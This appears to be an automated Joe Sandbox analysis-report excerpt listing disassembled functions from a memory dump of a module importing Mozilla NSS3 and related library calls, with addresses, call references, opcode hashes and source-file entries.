SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C676DD8
PK11_KeyGen.NSS3(00000000,8000000B,?,00000000,00000000), ref: 6C676E60
PK11_CreateContextBySymKey.NSS3(00000201,00000108,?,?), ref: 6C676F19
PK11_DigestBegin.NSS3(00000000), ref: 6C676F2D
PK11_DigestOp.NSS3(?,?,00000000), ref: 6C676F7B
PK11_DestroyContext.NSS3(00000000,00000001), ref: 6C677011
PK11_FreeSymKey.NSS3(00000000), ref: 6C677033
free.MOZGLUE(?), ref: 6C67703F
PK11_DigestFinal.NSS3(?,?,?,00000400), ref: 6C677060
SECITEM_CompareItem_Util.NSS3(?,?), ref: 6C677087
PR_SetError.NSS3(FFFFE062,00000000), ref: 6C6770AF

Memory Dump Source

Source File: 00000000.00000002.2662972797.000000006C591000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2662550146.000000006C590000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667164056.000000006C72F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667847853.000000006C76E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667915017.000000006C76F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668166004.000000006C770000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668314970.000000006C775000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_R2CgZG545D.jbxd

Similarity

API ID: K11_$Util$DigestError$ContextItem_$AlgorithmAlloc_BeginCompareCreateDecodeDestroyFinalFreeInteger_Tag_free
String ID:
API String ID: 2108637330-0
Opcode ID: 8c0967ef75af0c92504f38cf436590f634e66551de2f9bc83f730d5b9c775a08
Instruction ID: 8bf3545f1a8d0e94c4b1b1860dda7cc3409e9507f37d3e6989ce4dcaaeee5a00
Opcode Fuzzy Hash: 8c0967ef75af0c92504f38cf436590f634e66551de2f9bc83f730d5b9c775a08
Instruction Fuzzy Hash: C1A12AB15182009BEB209F24DC55BAB3295EB8130CF244D39F919CBB81E779D855C77B

Function 6C63AEC0 Relevance: 24.3, APIs: 16, Instructions: 272threadCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?,?,6C61AB95,00000000,?,00000000,00000000,00000000), ref: 6C63AF25
EnterCriticalSection.KERNEL32(?,?,?,?,6C61AB95,00000000,?,00000000,00000000,00000000), ref: 6C63AF39
PR_Unlock.NSS3(?,?,?,6C61AB95,00000000,?,00000000,00000000,00000000), ref: 6C63AF51
PR_SetError.NSS3(FFFFE041,00000000,?,?,?,6C61AB95,00000000,?,00000000,00000000,00000000), ref: 6C63AF69
TlsGetValue.KERNEL32 ref: 6C63B06B
EnterCriticalSection.KERNEL32(?), ref: 6C63B083
PR_Unlock.NSS3(?), ref: 6C63B0A4
TlsGetValue.KERNEL32 ref: 6C63B0C1
EnterCriticalSection.KERNEL32(00000000), ref: 6C63B0D9
PR_Unlock.NSS3 ref: 6C63B102
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C63B151
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C63B182

Part of subcall function 6C66FAB0: free.MOZGLUE(?,-00000001,?,?,6C60F673,00000000,00000000), ref: 6C66FAC7

PR_SetError.NSS3(FFFFE08A,00000000), ref: 6C63B177

Part of subcall function 6C6BC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C6BC2BF

SECITEM_ZfreeItem_Util.NSS3(00000000,00000001,?,?,6C61AB95,00000000,?,00000000,00000000,00000000), ref: 6C63B1A2
PR_GetCurrentThread.NSS3(?,?,?,?,6C61AB95,00000000,?,00000000,00000000,00000000), ref: 6C63B1AA
PR_SetError.NSS3(FFFFE018,00000000,?,?,?,?,6C61AB95,00000000,?,00000000,00000000,00000000), ref: 6C63B1C2

Part of subcall function 6C661560: TlsGetValue.KERNEL32(00000000,?,6C630844,?), ref: 6C66157A
Part of subcall function 6C661560: EnterCriticalSection.KERNEL32(?,?,?,6C630844,?), ref: 6C66158F
Part of subcall function 6C661560: PR_Unlock.NSS3(?,?,?,?,6C630844,?), ref: 6C6615B2

Memory Dump Source

Source File: 00000000.00000002.2662972797.000000006C591000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2662550146.000000006C590000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667164056.000000006C72F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667847853.000000006C76E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667915017.000000006C76F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668166004.000000006C770000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668314970.000000006C775000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_R2CgZG545D.jbxd

Similarity

API ID: Value$CriticalEnterSectionUnlock$ErrorItem_UtilZfree$CurrentThreadfree
String ID:
API String ID: 4188828017-0
Opcode ID: 286b2c411fc829ae2090344fafd25b54a31f6dcf2631ded8c859996db5b5d49d
Instruction ID: d9d7e2816b8a472d6cab791d4109d229a484824f2b9f84ac99f067cf1b920785
Opcode Fuzzy Hash: 286b2c411fc829ae2090344fafd25b54a31f6dcf2631ded8c859996db5b5d49d
Instruction Fuzzy Hash: D1A1E2B1D00219ABEF019F64DC41BEA77B4EF4A308F105138E809A7752E735E959CBA9

Function 6C632C40 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 163COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(#?cl,?,6C62E477,?,?,?,00000001,00000000,?,?,6C633F23,?), ref: 6C632C62
EnterCriticalSection.KERNEL32(0000001C,?,6C62E477,?,?,?,00000001,00000000,?,?,6C633F23,?), ref: 6C632C76
PL_HashTableLookup.NSS3(00000000,?,?,6C62E477,?,?,?,00000001,00000000,?,?,6C633F23,?), ref: 6C632C86
PR_Unlock.NSS3(00000000,?,?,?,?,6C62E477,?,?,?,00000001,00000000,?,?,6C633F23,?), ref: 6C632C93

Part of subcall function 6C6BDD70: TlsGetValue.KERNEL32 ref: 6C6BDD8C
Part of subcall function 6C6BDD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6C6BDDB4

TlsGetValue.KERNEL32(?,?,?,?,?,6C62E477,?,?,?,00000001,00000000,?,?,6C633F23,?), ref: 6C632CC6
EnterCriticalSection.KERNEL32(0000001C,?,?,?,?,?,6C62E477,?,?,?,00000001,00000000,?,?,6C633F23,?), ref: 6C632CDA
PL_HashTableLookup.NSS3(00000000,?,?,?,?,?,?,6C62E477,?,?,?,00000001,00000000,?,?,6C633F23), ref: 6C632CEA
PR_Unlock.NSS3(00000000,?,?,?,?,?,?,?,6C62E477,?,?,?,00000001,00000000,?), ref: 6C632CF7
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,6C62E477,?,?,?,00000001,00000000,?), ref: 6C632D4D
EnterCriticalSection.KERNEL32(?), ref: 6C632D61
PL_HashTableLookup.NSS3(?,?), ref: 6C632D71
PR_Unlock.NSS3(?), ref: 6C632D7E

Part of subcall function 6C6007A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6C59204A), ref: 6C6007AD
Part of subcall function 6C6007A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C59204A), ref: 6C6007CD
Part of subcall function 6C6007A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C59204A), ref: 6C6007D6
Part of subcall function 6C6007A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6C59204A), ref: 6C6007E4
Part of subcall function 6C6007A0: TlsSetValue.KERNEL32(00000000,?,6C59204A), ref: 6C600864
Part of subcall function 6C6007A0: calloc.MOZGLUE(00000001,0000002C), ref: 6C600880
Part of subcall function 6C6007A0: TlsSetValue.KERNEL32(00000000,?,?,6C59204A), ref: 6C6008CB
Part of subcall function 6C6007A0: TlsGetValue.KERNEL32(?,?,6C59204A), ref: 6C6008D7
Part of subcall function 6C6007A0: TlsGetValue.KERNEL32(?,?,6C59204A), ref: 6C6008FB

Strings

#?cl, xrefs: 6C632C43

Memory Dump Source

Source File: 00000000.00000002.2662972797.000000006C591000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2662550146.000000006C590000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667164056.000000006C72F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667847853.000000006C76E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667915017.000000006C76F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668166004.000000006C770000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668314970.000000006C775000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_R2CgZG545D.jbxd

Similarity

API ID: Value$CriticalSection$EnterHashLookupTableUnlock$calloc$Leave
String ID: #?cl
API String ID: 2446853827-3055577206
Opcode ID: 24477e5e136bed5c1ca0090ca9008d063e362b2d1c3cad0fe258398794f7bed3
Instruction ID: 7dfafecd9bd859d76d7f41048d852a7bfdf703902a1c89d444400daebc47532b
Opcode Fuzzy Hash: 24477e5e136bed5c1ca0090ca9008d063e362b2d1c3cad0fe258398794f7bed3
Instruction Fuzzy Hash: 6451E5B6D00214ABDB01AF24DC458AA77B4BF4A35CB049534ED1C97B12E731E964CBE9

Function 6C68AD90 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 127COMMON

Download Yara Rule

APIs

SECOID_GetAlgorithmTag_Util.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C68ADB1

Part of subcall function 6C66BE30: SECOID_FindOID_Util.NSS3(6C62311B,00000000,?,6C62311B,?), ref: 6C66BE44

PL_InitArenaPool.NSS3(?,security,00000800,00000008), ref: 6C68ADF4
SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?), ref: 6C68AE08

Part of subcall function 6C66B030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6C7418D0,?), ref: 6C66B095

SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C68AE25
PL_FreeArenaPool.NSS3 ref: 6C68AE63
PR_CallOnce.NSS3(6C772AA4,6C6712D0), ref: 6C68AE4D

Part of subcall function 6C594C70: TlsGetValue.KERNEL32(?,?,?,6C593921,6C7714E4,6C6DCC70), ref: 6C594C97
Part of subcall function 6C594C70: EnterCriticalSection.KERNEL32(?,?,?,?,6C593921,6C7714E4,6C6DCC70), ref: 6C594CB0
Part of subcall function 6C594C70: PR_Unlock.NSS3(?,?,?,?,?,6C593921,6C7714E4,6C6DCC70), ref: 6C594CC9

SECKEY_DestroyPublicKey.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C68AE93
PR_CallOnce.NSS3(6C772AA4,6C6712D0), ref: 6C68AECC
PL_FreeArenaPool.NSS3 ref: 6C68AEDE
PL_FinishArenaPool.NSS3 ref: 6C68AEE6
PR_SetError.NSS3(FFFFD004,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C68AEF5
PL_FinishArenaPool.NSS3 ref: 6C68AF16

Strings

security, xrefs: 6C68ADEE

Memory Dump Source

Source File: 00000000.00000002.2662972797.000000006C591000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2662550146.000000006C590000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667164056.000000006C72F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667847853.000000006C76E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667915017.000000006C76F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668166004.000000006C770000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668314970.000000006C775000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_R2CgZG545D.jbxd

Similarity

API ID: ArenaPool$Util$AlgorithmCallErrorFinishFreeOnceTag_$CriticalDecodeDestroyEnterFindInitItem_PublicQuickSectionUnlockValue
String ID: security
API String ID: 3441714441-3315324353
Opcode ID: be8170dba8d43dbf0e58d774e5d56007e96e03ef79045fb546a410d93322fab8
Instruction ID: 0aeea707ee003fcb602cd460535fc8c93d6c6a67ab14c195c328ea87519b4476
Opcode Fuzzy Hash: be8170dba8d43dbf0e58d774e5d56007e96e03ef79045fb546a410d93322fab8
Instruction Fuzzy Hash: 584128B1805310A7EB214A249C49BAB33A8AF4231CF140D25EC5496FC2F735DA5AD6FF

Function 6C72AF70 Relevance: 22.7, APIs: 15, Instructions: 221threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C6D9890: TlsGetValue.KERNEL32(?,?,?,6C6D97EB), ref: 6C6D989E

EnterCriticalSection.KERNEL32(?), ref: 6C72AF88
_PR_MD_NOTIFYALL_CV.NSS3(?), ref: 6C72AFCE
PR_SetPollableEvent.NSS3(?), ref: 6C72AFD9
EnterCriticalSection.KERNEL32(?), ref: 6C72AFEF
_PR_MD_NOTIFY_CV.NSS3(?), ref: 6C72B00F
_PR_MD_UNLOCK.NSS3(?), ref: 6C72B02F
_PR_MD_UNLOCK.NSS3(?), ref: 6C72B070
PR_JoinThread.NSS3(?), ref: 6C72B07B
free.MOZGLUE(?), ref: 6C72B084
EnterCriticalSection.KERNEL32(?), ref: 6C72B09B
_PR_MD_UNLOCK.NSS3(?), ref: 6C72B0C4
PR_JoinThread.NSS3(?), ref: 6C72B0F3
free.MOZGLUE(?), ref: 6C72B0FC
PR_JoinThread.NSS3(?), ref: 6C72B137
free.MOZGLUE(?), ref: 6C72B140

Memory Dump Source

Source File: 00000000.00000002.2662972797.000000006C591000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2662550146.000000006C590000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667164056.000000006C72F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667847853.000000006C76E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667915017.000000006C76F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668166004.000000006C770000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668314970.000000006C775000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_R2CgZG545D.jbxd

Similarity

API ID: CriticalEnterJoinSectionThreadfree$EventPollableValue
String ID:
API String ID: 235599594-0
Opcode ID: e935a7a331ba6f003c9e29f396938402428864907bb616f20faa7e3836a53adb
Instruction ID: 1e29ef02f39773be8311efe36a798034a5f00fc6a08487ad76791632e634b8dd
Opcode Fuzzy Hash: e935a7a331ba6f003c9e29f396938402428864907bb616f20faa7e3836a53adb
Instruction Fuzzy Hash: D991A0B5900601DFCB00DF14C984856BBF1FF4931C72985A9D81A5BB26E732FC45CB85

Function 6C6A5CF0 Relevance: 22.7, APIs: 15, Instructions: 190COMMON

Download Yara Rule

APIs

Part of subcall function 6C6A2BE0: CERT_DestroyCertificate.NSS3(?,00000000,00000000,?,6C6A2A28,00000060,00000001), ref: 6C6A2BF0
Part of subcall function 6C6A2BE0: CERT_DestroyCertificate.NSS3(?,00000000,00000000,?,6C6A2A28,00000060,00000001), ref: 6C6A2C07
Part of subcall function 6C6A2BE0: SECKEY_DestroyPublicKey.NSS3(?,00000000,00000000,?,6C6A2A28,00000060,00000001), ref: 6C6A2C1E
Part of subcall function 6C6A2BE0: free.MOZGLUE(?,00000000,00000000,?,6C6A2A28,00000060,00000001), ref: 6C6A2C4A

free.MOZGLUE(?,?,6C6AAAD4,?,?,?,?,?,?,?,?,00000000,?,6C6A80C1), ref: 6C6A5D0F
free.MOZGLUE(?,?,?,6C6AAAD4,?,?,?,?,?,?,?,?,00000000,?,6C6A80C1), ref: 6C6A5D4E
free.MOZGLUE(?,?,?,6C6AAAD4,?,?,?,?,?,?,?,?,00000000,?,6C6A80C1), ref: 6C6A5D62
free.MOZGLUE(?,?,?,?,6C6AAAD4,?,?,?,?,?,?,?,?,00000000,?,6C6A80C1), ref: 6C6A5D85
free.MOZGLUE(?,?,?,?,6C6AAAD4,?,?,?,?,?,?,?,?,00000000,?,6C6A80C1), ref: 6C6A5D99
free.MOZGLUE(?,?,?,?,6C6AAAD4,?,?,?,?,?,?,?,?,00000000,?,6C6A80C1), ref: 6C6A5DFA
SECKEY_DestroyPrivateKey.NSS3(?,?,?,?,6C6AAAD4,?,?,?,?,?,?,?,?,00000000,?,6C6A80C1), ref: 6C6A5E33
SECKEY_DestroyPublicKey.NSS3(?,?,?,?,?,6C6AAAD4,?,?,?,?,?,?,?,?,00000000), ref: 6C6A5E3E
free.MOZGLUE(?,?,?,?,?,?,6C6AAAD4,?,?,?,?,?,?,?,?,00000000), ref: 6C6A5E47
free.MOZGLUE(?,?,?,?,6C6AAAD4,?,?,?,?,?,?,?,?,00000000,?,6C6A80C1), ref: 6C6A5E60
SECITEM_ZfreeItem_Util.NSS3(00000008,00000000,?,?,?,6C6AAAD4,?,?,?,?,?,?,?,?,00000000), ref: 6C6A5E78
free.MOZGLUE(?,?,?,?,?,?,?,6C6AAAD4), ref: 6C6A5EB9
free.MOZGLUE(?,?,?,?,?,?,?,6C6AAAD4), ref: 6C6A5EF0
SECKEY_DestroyPrivateKey.NSS3(?,?,?,?,?,?,?,?,?,?,?,6C6AAAD4), ref: 6C6A5F3D
SECKEY_DestroyPublicKey.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,6C6AAAD4), ref: 6C6A5F4B

Memory Dump Source

Source File: 00000000.00000002.2662972797.000000006C591000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2662550146.000000006C590000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667164056.000000006C72F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667847853.000000006C76E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667915017.000000006C76F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668166004.000000006C770000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668314970.000000006C775000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_R2CgZG545D.jbxd

Similarity

API ID: free$Destroy$Public$CertificatePrivate$Item_UtilZfree
String ID:
API String ID: 4273776295-0
Opcode ID: 72a0e1fa42d85f2ee4fe81c9a613cbb4989f9f6e2163e3cd1bb46b442f655d66
Instruction ID: 309412fbc107d128b48386d0121c38dd69a123ca6b89f4fb8884915c93caa0e2
Opcode Fuzzy Hash: 72a0e1fa42d85f2ee4fe81c9a613cbb4989f9f6e2163e3cd1bb46b442f655d66
Instruction Fuzzy Hash: 7F71B2B5A00B019FD700DF64D884A92B7F5FF89308F148529E85E87B11E731F966CB99

Function 6C628DE0 Relevance: 22.7, APIs: 15, Instructions: 173memoryCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?), ref: 6C628E22
EnterCriticalSection.KERNEL32(?), ref: 6C628E36
memset.VCRUNTIME140(?,00000000,?), ref: 6C628E4F
calloc.MOZGLUE(00000001,?,?,?), ref: 6C628E78
memcpy.VCRUNTIME140(-00000008,?,?), ref: 6C628E9B
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C628EAC
PL_ArenaAllocate.NSS3(?,?), ref: 6C628EDE
memcpy.VCRUNTIME140(-00000008,?,?), ref: 6C628EF0
memset.VCRUNTIME140(?,00000000,?), ref: 6C628F00
free.MOZGLUE(?), ref: 6C628F0E
memcpy.VCRUNTIME140(?,?,?), ref: 6C628F39
memset.VCRUNTIME140(?,00000000,?), ref: 6C628F4A
memset.VCRUNTIME140(?,00000000,?), ref: 6C628F5B
PR_Unlock.NSS3(?), ref: 6C628F72
PR_Unlock.NSS3(?), ref: 6C628F82

Memory Dump Source

Source File: 00000000.00000002.2662972797.000000006C591000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2662550146.000000006C590000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667164056.000000006C72F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667847853.000000006C76E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667915017.000000006C76F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668166004.000000006C770000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668314970.000000006C775000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_R2CgZG545D.jbxd

Similarity

API ID: memset$memcpy$Unlock$AllocateArenaCriticalEnterSectionValuecallocfree
String ID:
API String ID: 1569127702-0
Opcode ID: d0a9f8ae9a29c75e6e4c57bce58e250d7fe7ea55b0e93fa9e165b0c76a929a7f
Instruction ID: 32f87e4cdaf4a97ad9d5c6f5679b36c275259cd35613e3f5a7f906a4458771f8
Opcode Fuzzy Hash: d0a9f8ae9a29c75e6e4c57bce58e250d7fe7ea55b0e93fa9e165b0c76a929a7f
Instruction Fuzzy Hash: 425149B3D002159FEB109F28CC889AAB7B9FF59358F144529EC489B710E739ED058BD5

Function 6C720FF0 Relevance: 22.6, APIs: 15, Instructions: 92COMMON

Download Yara Rule

APIs

PR_Lock.NSS3(?), ref: 6C721000

Part of subcall function 6C6D9BA0: TlsGetValue.KERNEL32(00000000,00000000,?,6C601A48), ref: 6C6D9BB3
Part of subcall function 6C6D9BA0: EnterCriticalSection.KERNEL32(?,?,?,?,6C601A48), ref: 6C6D9BC8

PR_SetError.NSS3(FFFFE8D5,00000000), ref: 6C721016

Part of subcall function 6C6BC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C6BC2BF

PR_Unlock.NSS3(?), ref: 6C721021

Part of subcall function 6C6BDD70: TlsGetValue.KERNEL32 ref: 6C6BDD8C
Part of subcall function 6C6BDD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6C6BDDB4

PR_SetError.NSS3(FFFFE89D,00000000), ref: 6C721046
PR_Unlock.NSS3(?), ref: 6C72106B
PR_Lock.NSS3 ref: 6C721079
PR_Unlock.NSS3 ref: 6C721096
free.MOZGLUE(?), ref: 6C7210A7
free.MOZGLUE(?), ref: 6C7210B4
PR_DestroyCondVar.NSS3(?), ref: 6C7210BF
PR_DestroyCondVar.NSS3(?), ref: 6C7210CA
PR_DestroyCondVar.NSS3(?), ref: 6C7210D5
PR_DestroyCondVar.NSS3(?), ref: 6C7210E0
PR_DestroyLock.NSS3(?), ref: 6C7210EB
free.MOZGLUE(?), ref: 6C721105

Memory Dump Source

Source File: 00000000.00000002.2662972797.000000006C591000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2662550146.000000006C590000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667164056.000000006C72F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667847853.000000006C76E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667915017.000000006C76F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668166004.000000006C770000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668314970.000000006C775000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_R2CgZG545D.jbxd

Similarity

API ID: Destroy$Cond$LockUnlockValuefree$CriticalErrorSection$EnterLeave
String ID:
API String ID: 8544004-0
Opcode ID: 88e5c7b1bcf7ae9c2ae1ef56e38a597cd0a60263357f277a0a114a9ce8c16039
Instruction ID: 9bfb262ee33cc41082d53919b11f34317bcf9eed00f8b4c3a6df99bbc0df8caf
Opcode Fuzzy Hash: 88e5c7b1bcf7ae9c2ae1ef56e38a597cd0a60263357f277a0a114a9ce8c16039
Instruction Fuzzy Hash: 34316BB5A00511BBDB129F14EE42A45B7B1FF42319B184130E80956FA1EB32FD78DBDA

Function 6C59DC60 Relevance: 21.3, APIs: 9, Strings: 3, Instructions: 282COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,?), ref: 6C59DD56
memcpy.VCRUNTIME140(0000FFFE,?,?), ref: 6C59DD7C
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(00000000), ref: 6C59DE67
memcpy.VCRUNTIME140(0000FFFC,?,?), ref: 6C59DEC4
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C59DECD

Strings

%s at line %d of [%.10s], xrefs: 6C59DF7C, 6C59DFEC
database corruption, xrefs: 6C59DF77, 6C59DFE7
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C59DF6D, 6C59DFCC, 6C59DFDD

Memory Dump Source

Source File: 00000000.00000002.2662972797.000000006C591000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2662550146.000000006C590000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667164056.000000006C72F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667847853.000000006C76E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667915017.000000006C76F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668166004.000000006C770000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668314970.000000006C775000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_R2CgZG545D.jbxd

Similarity

API ID: memcpy$_byteswap_ulong
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 2339628231-598938438
Opcode ID: 323c5d8d7ae4cca81597132a16628a78c0b9f4a4c208b3e097d13c41a4274ff8
Instruction ID: a43eac9b675d1e9e448b0c35029c06ede5f6e3870808f70dae90383ed4476550
Opcode Fuzzy Hash: 323c5d8d7ae4cca81597132a16628a78c0b9f4a4c208b3e097d13c41a4274ff8
Instruction Fuzzy Hash: A5A1F671A043859FC710CF29CD81A6AB7F5EF85308F1989ADF8898BB51E734E845CB91

Function 6C65EDD0 Relevance: 21.2, APIs: 14, Instructions: 239memoryCOMMON

Download Yara Rule

APIs

PORT_Alloc_Util.NSS3(?), ref: 6C65EE0B

Part of subcall function 6C670BE0: malloc.MOZGLUE(6C668D2D,?,00000000,?), ref: 6C670BF8
Part of subcall function 6C670BE0: TlsGetValue.KERNEL32(6C668D2D,?,00000000,?), ref: 6C670C15

PR_SetError.NSS3(FFFFE013,00000000), ref: 6C65EEE1

Part of subcall function 6C651D50: TlsGetValue.KERNEL32(00000000,-00000018), ref: 6C651D7E
Part of subcall function 6C651D50: EnterCriticalSection.KERNEL32(?), ref: 6C651D8E
Part of subcall function 6C651D50: PR_Unlock.NSS3(?), ref: 6C651DD3

TlsGetValue.KERNEL32 ref: 6C65EE51
EnterCriticalSection.KERNEL32(?), ref: 6C65EE65
PR_Unlock.NSS3(?), ref: 6C65EEA2
free.MOZGLUE(?), ref: 6C65EEBB
PR_SetError.NSS3(00000000,00000000), ref: 6C65EED0
PR_Unlock.NSS3(?), ref: 6C65EF48
free.MOZGLUE(?), ref: 6C65EF68
PR_SetError.NSS3(00000000,00000000), ref: 6C65EF7D
PK11_DoesMechanism.NSS3(?,?), ref: 6C65EFA4
free.MOZGLUE(?), ref: 6C65EFDA
PR_SetError.NSS3(FFFFE040,00000000), ref: 6C65F055
free.MOZGLUE(?), ref: 6C65F060

Memory Dump Source

Source File: 00000000.00000002.2662972797.000000006C591000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2662550146.000000006C590000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667164056.000000006C72F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667847853.000000006C76E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667915017.000000006C76F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668166004.000000006C770000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668314970.000000006C775000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_R2CgZG545D.jbxd

Similarity

